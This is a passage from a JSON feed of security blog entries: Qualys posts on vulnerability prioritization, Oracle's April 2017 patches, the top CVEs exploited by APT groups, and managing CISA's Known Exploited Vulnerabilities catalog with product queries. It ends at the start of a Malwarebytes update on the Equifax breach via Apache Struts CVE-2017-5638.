AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) and [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>), helps you to proactively and continuously detect assets and vulnerabilities, and prioritize remediation in your IT environment.\n\n_Watch a recording of the [webcast](<https://www.qualys.com/webcasts/prioritization-vulnerabilities-modern-it-environment/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=webcast&leadsource=344565181>), which has a lot more details, a demo of Qualys Threat Protection, and a Q&A session with the audience._", "cvss3": {}, "published": "2018-05-07T16:00:10", "type": "qualysblog", "title": "How To Prioritize Vulnerabilities in a Modern IT Environment", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-05-07T16:00:10", "id": "QUALYSBLOG:5C311FA52DD78D7015076D492F321DB0", "href": "https://blog.qualys.com/news/2018/05/07/how-to-prioritize-vulnerabilities-in-a-modern-it-environment", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-05-01T13:43:00", "description": "Today Oracle released a total of [299 new security fixes](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) across all product families. It is important to note that it fixed 25 instances of the infamous [Apache Struts vulnerability](<https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution>) which could allow a remote attacker to take complete control of the server running Struts. The struts fix was applied to 19 instances of Oracle Financial Services Applications along with WebCenter, WebLogic, Siebel, Oracle Communications, MySQL and Oracle Retail.\n\nOracle also released [Patch 25878798](<https://updates.oracle.com/download/25878798.html>) for Solaris 10 and 11.3 which fixed the second [Shadow Brokers](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) EXTREMEPARR vulnerability CVE-2017-3622. EXTREMEPARR has a CVSS Base Score of 7.8, and if successfully exploited allows a local privilege escalation in the \u2018dtappgather\u2019 component. The other Shadow Brokers vulnerability CVE-2017-3623 (a.k.a. \u201cEbbisland\u201d or \u201cEbbshave\u201d) was previously addressed by Oracle in several Solaris 10 patch distributions issued since January 26th 2012 and does not affect Solaris 11.\n\nOut of the 299 total fixes MySQL, Financial Services, Retail and Fusion Middleware take the lion\u2019s share of fixes and the distribution is shown in the chart below. Majority of the vulnerabilities in the Financial Services, Retail and Fusion Middleware could be exploited via the HTTP protocol and attackers can take complete control of the system remotely without the need of any credentials.\n\n![Oracle_1](https://blog.qualys.com/wp-content/uploads/2017/04/Oracle_1-2-300x179.png)\n\n \n\nIn databases, MySQL has seen its share of vulnerabilities rise drastically as compared to the Oracle Database server and today\u2019s release was no different with 39 MySQL bugs fixed out of which 11 could be remotely exploitable without authentication. This is a large number as compared to just 3 bugs in the Oracle Database Server. All vulnerabilities for MySQL could be exploited using the MySQL protocol used by clients to connect to the database server and organizations should create a details inventory of their MySQL servers for their exposure within the organization and outside.\n\nJava SE was patched with 8 security fixes out of which 7 are exploitable remotely without authentication. AWT, JCE and other java networking components were affect and could be exploited using FTP, SMTP and multiple other protocols. 21 Sun systems products were patched which included Solaris, Sun ZFS Storage Appliance and Solaris Cluster. Out of these, 8 vulnerabilities can be exploitable remotely. The most affected component in Oracle Linux was the Oracle VM Virtual Box and 6 of these issues are remotely exploitable.\n\nThe chart below shows a list of remotely exploitable vulnerabilities in today's release:\n\n![Oracle_2](https://blog.qualys.com/wp-content/uploads/2017/04/Oracle_2-300x200.png)\n\nOverall, this was another large security update with 299 fixes from Oracle touching all product lines, fixing Apache Struts embedded into products and patching a total of 162 remotely exploitable vulnerabilities.", "cvss3": {}, "published": "2017-04-18T21:39:53", "title": "Oracle Plugs Struts and Shadow Brokers hole along with 299 Total Vulnerabilities", "type": "qualysblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-3622", "CVE-2017-5638", "CVE-2017-3623"], "modified": "2017-04-18T21:39:53", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities", "id": "QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-12-27T19:32:53", "description": "[A recent report](<https://www.darkreading.com/threat-intelligence/20-vulnerabilities-to-prioritize-patching-before-2020/d/d-id/1336691>) identified 19+ vulnerabilities that should be mitigated by end of year 2019. These are a range of top vulnerabilities attacked and leveraged by Advance Persistent Threat (APT) actors from all parts of the world.\n\nThe list below shows those top 19 vulnerabilities, and it should be no surprise that you can easily track and remediate them via a dashboard within Qualys. Import the dashboard into your subscription for easy insight into what assets and vulnerabilities in your organization are at risk.\n\n**No.** | **CVE** | **Products Affected by CVE** | **CVSS Score (NVD)** | **Examples of Threat Actors** \n---|---|---|---|--- \n**1** | CVE-2017-11882 | Microsoft Office | 7.8 | APT32 (Vietnam), APT34 (Iran), APT40 (China), APT-C-35 (India), Cobalt Group (Spain, Ukraine), Silent Group (Russia), Lotus Blossom (China), FIN7 (Russia) \n**2** | CVE-2018-8174 | Microsoft Windows | 7.5 | Silent Group (Russia), Dark Hotel APT (North Korea) \n**3** | CVE-2017-0199 | Microsoft Office, Windows | 7.8 | APT34 (Iran), APT40 (China), APT-C-35 (India), Cobalt Group (Spain, Ukraine), APT37 (North Korea), Silent Group (Russia), Gorgon Group (Pakistan), Gaza Cybergang (Iran) \n**4** | CVE-2018-4878 | Adobe Flash Player, Red Hat Enterprise Linux | 9.8 | APT37 (North Korea), Lazarus Group (North Korea) \n**5** | CVE-2017-10271 | Oracle WebLogic Server | 7.5 | Rocke Gang (Chinese Cybercrime) \n**6** | CVE-2019-0708 | Microsoft Windows | 9.8 | Kelvin SecTeam (Venezuela, Colombia, Peru) \n**7** | CVE-2017-5638 | Apache Struts | 10 | Lazarus Group (North Korea) \n**8** | CVE-2017-5715 | ARM, Intel | 5.6 | Unknown \n**9** | CVE-2017-8759 | Microsoft .net Framework | 7.8 | APT40 (China), Cobalt Group (Spain, Ukraine), APT10 (China) \n**10** | CVE-2018-20250 | RARLAB WinRAR | 7.8 | APT32 (Vietnam), APT33 (Iran), APT-C-27 (Iran), Lazarus Group (North Korea), MuddyWater APT (Iran) \n**11** | CVE-2018-7600 | Debian, Drupal | 9.8 | Kelvin SecTeam (Venezuela, Colombia, Peru), Sea Turtle (Iran) \n**12** | CVE-2018-10561 | DASAN Networks | 9.8 | Kelvin SecTeam (Venezuela, Colombia, Peru) \n**13** | CVE-2012-0158 | Microsoft | N/A; 9.3* | APT28 (Russia), APT-C-35 (India), Cobalt Group (Spain, Ukraine), Lotus Blossom (China), Goblin Panda (China), Gorgon Group (Pakistan), APT40 (China) \n**14** | CVE-2017-8570 | Microsoft Office | 7.8 | APT-C-35 (India), Cobalt Group (Spain, Ukraine), APT23 (China) \n**15** | CVE-2018-0802 | Microsoft Office | 7.8 | Cobalt Group (Spain, Ukraine), APT37 (North Korea), Silent Group (Russia), Cloud Atlas (Unknown), Cobalt Group (Spain, Ukraine), Goblin Panda (China), APT23 (China), APT27 (China), Rancor Group (China), Temp.Trident (China) \n**16** | CVE-2017-0143 | Microsoft SMB | 8.1 | APT3 (China), Calypso (China) \n**17** | CVE-2018-12130 | Fedora | 5.6 | Iron Tiger (China), APT3 (China), Calypso (China) \n**18** | CVE-2019-2725 | Oracle WebLogic Server | 9.8 | Panda (China) \n**19** | CVE-2019-3396 | Atlassian Confluence | 9.8 | APT41 (China), Rocke Gang (Chinese Cybercrime) \n \n* according to [cvedetails.com](<http://cvedetails.com/>)\n\n### Detecting the Top 19 CVEs\n\nQualys has detections (QIDs) for [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>) that cover authenticated and remotely detected vulnerabilities supported by Qualys scanners and [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>).\n\nTo return a list of all impacted hosts, use the following QQL query within the VM Dashboard:\n \n \n vulnerabilities.vulnerability.cveIds:[CVE-2017-11882, CVE-2018-8174, CVE-2017-0199, CVE-2018-4878, CVE-2017-10271, CVE-2019-0708, CVE-2017-5638, CVE-2017-5715, CVE-2017-8759, CVE-2018-20250, CVE-2018-7600, CVE-2018-10561, CVE-2012-0158, CVE-2017-8570, CVE-2018-0802, CVE-2017-0143, CVE-2018-12130, CVE-2019-2725, CVE-2019-3396]\n\nYou can [import the following dashboard to track all 19 CVEs](<https://discussions.qualys.com/docs/DOC-7032>) as shown in the template below:\n\n[![](https://blog.qualys.com/wp-content/uploads/2019/12/dashboard-track-all-19-cves-screenshot.jpg)](<https://discussions.qualys.com/docs/DOC-7032>)\n\n### Alerts\n\nThe Qualys Cloud Platform enables you to continuously monitor for vulnerabilities and misconfigurations and get alerted for your most critical assets.\n\nSee how to set up [notifications for new and updated QIDs](<https://www.qualys.com/docs/version/8.21/qualys-vulnerability-notification.pdf>).\n\n### Tracking Per-Year Environment Impact and Remediation\n\nThe Qualys visualization team has included a Per-Year Environment Insight View Dashboard for easy tracking and remediation. This dashboard has been included in release 2.42 and can be found within the dashboard templates library. It will automatically show your systems whether scanned internally, externally or on remote mobile computers with the groundbreaking Qualys Cloud Agent.\n\n![](https://blog.qualys.com/wp-content/uploads/2019/12/dashboard-track-all-19-cves-screenshot-2.jpg)\n\nThis Per-Year Environment Insight View Dashboard will display data per year based on First Found date, followed by Vulnerability Status, Severity, Compliance, Real-Time Threat Intelligence (RTI)s from [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>), and Vulnerability Published Dates, allowing for an easy glance across your environment.\n\n![](https://blog.qualys.com/wp-content/uploads/2019/12/dashboard-track-all-19-cves-screenshot-3-600x811.jpg)\n\n \n\n### Get Started Now\n\nTo start detecting and remediating these vulnerabilities now, get a [Qualys Suite trial](<https://www.qualys.com/forms/trials/suite/>).\n\nVisit the [Qualys Community](<https://community.qualys.com/docs/DOC-6785>) to download other dashboards created by your SMEs and Product Management team and import them into your subscription for further data insights.", "cvss3": {}, "published": "2019-12-27T18:01:22", "type": "qualysblog", "title": "Top 19+ Vulnerability CVEs in Santa\u2019s Dashboard Tracking", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2012-0158", "CVE-2017-0143", "CVE-2017-0199", "CVE-2017-10271", "CVE-2017-11882", "CVE-2017-5638", "CVE-2017-5715", "CVE-2017-8570", "CVE-2017-8759", "CVE-2018-0802", "CVE-2018-10561", "CVE-2018-12130", "CVE-2018-20250", "CVE-2018-4878", "CVE-2018-7600", "CVE-2018-8174", "CVE-2019-0708", "CVE-2019-2725", "CVE-2019-3396"], "modified": "2019-12-27T18:01:22", "id": "QUALYSBLOG:9BA334FCEF38374A0B09A0614B2D74D4", "href": "https://blog.qualys.com/technology/2019/12/27/top-19-vulnerability-cves-in-santas-dashboard-tracking", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-Actual-1.jpg)\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-2.jpg)\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-3.jpg)\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-4-scaled.jpg)\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/patch-mgmt-windows2.jpg)\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-6.jpg)\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2017-09-14T17:30:57", "description": "### [updates 9/14/2017]\n\nEquifax has released information and confirmed the vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) that was used in this breach after several days of intense scrutiny around Apache Struts. To make matters worse, there already was a patch available for this flaw in March 2017, two months prior to the incident.\n\n_**1) Updated information on U.S. website application vulnerability.**_ \n_Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement._\n\n### [updates 9/12/2017]\n\nEquifax's efforts in response to this incident can be followed at www.equifaxsecurity2017.com, but the[ site has been called](<https://krebsonsecurity.com/2017/09/equifax-breach-response-turns-dumpster-fire/>) \"completely broken at best, and little more than a stalling tactic or sham at worst.\" And [ isn\u2019t working for many people](<https://www.businessinsider.nl/equifax-data-breach-site-check-angry-response-2017-9/>). So, we leave it up to your best judgment whether you should pay that site a visit .\n\nOver 30 lawsuits have been filed against Equifax following the breach [according to 